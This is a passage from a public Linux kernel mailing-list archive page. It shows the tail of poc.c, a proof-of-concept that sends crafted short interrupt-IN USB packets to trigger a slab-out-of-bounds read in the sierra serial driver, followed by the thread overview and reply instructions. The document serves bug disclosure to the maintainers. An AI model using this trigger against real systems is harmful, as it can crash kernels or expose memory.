            ttyfd = open(path, O_RDWR | O_NOCTTY | O_CLOEXEC);
            if (ttyfd >= 0) {
                fprintf(stderr, "[poc] Opened %s\n", path);
            }
        }
        if (ttyfd < 0) usleep(100000);
    }
    if (ttyfd < 0) {
        fprintf(stderr, "[poc] No ttyUSB opened\n");
        threads_run = 0;
        close(fd_raw);
        return 1;
    }

    fprintf(stderr, "[poc] ttyUSB opened. Waiting for URB submission...\n");
    usleep(500000);

    /* OOB-triggering interrupt packet: 8 bytes, starts with 0xA1 0x20 */
    uint8_t int_pkt[8] = { 0xA1, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

    fprintf(stderr, "[poc] Sending OOB trigger interrupt-IN packet\n");
    for (int i = 0; i < 10; i++) {
        int ret = ep_write(ep_int_in_handle, int_pkt, sizeof(int_pkt));
        if (ret < 0) {
            fprintf(stderr, "[poc] ep_write(int) #%d: %s\n", i, strerror(errno));
            break;
        }
        fprintf(stderr, "[poc] Interrupt pkt #%d delivered (%d bytes)\n", i, ret);
        usleep(200000);
    }

    fprintf(stderr, "[poc] Done. KASAN should have reported slab-out-of-bounds.\n");
    sleep(2);
    threads_run = 0;
    close(ttyfd);
    close(fd_raw);
    return 0;
}

--- end poc.c ---


             reply	other threads:[~2026-07-14  3:37 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-07-14  3:37 Jay Vadayath [this message]
2026-07-14  5:10 ` [BUG] USB: serial: sierra: slab-out-of-bounds read in sierra_instat_callback() on short interrupt-IN packet Greg Kroah-Hartman

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20260714033729.11023-1-jkrshnmenon@gmail.com \
    --to=jkrshnmenon@gmail.com \
    --cc=gregkh@linuxfoundation.org \
    --cc=johan@kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux-usb@vger.kernel.org \
    --cc=stable@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.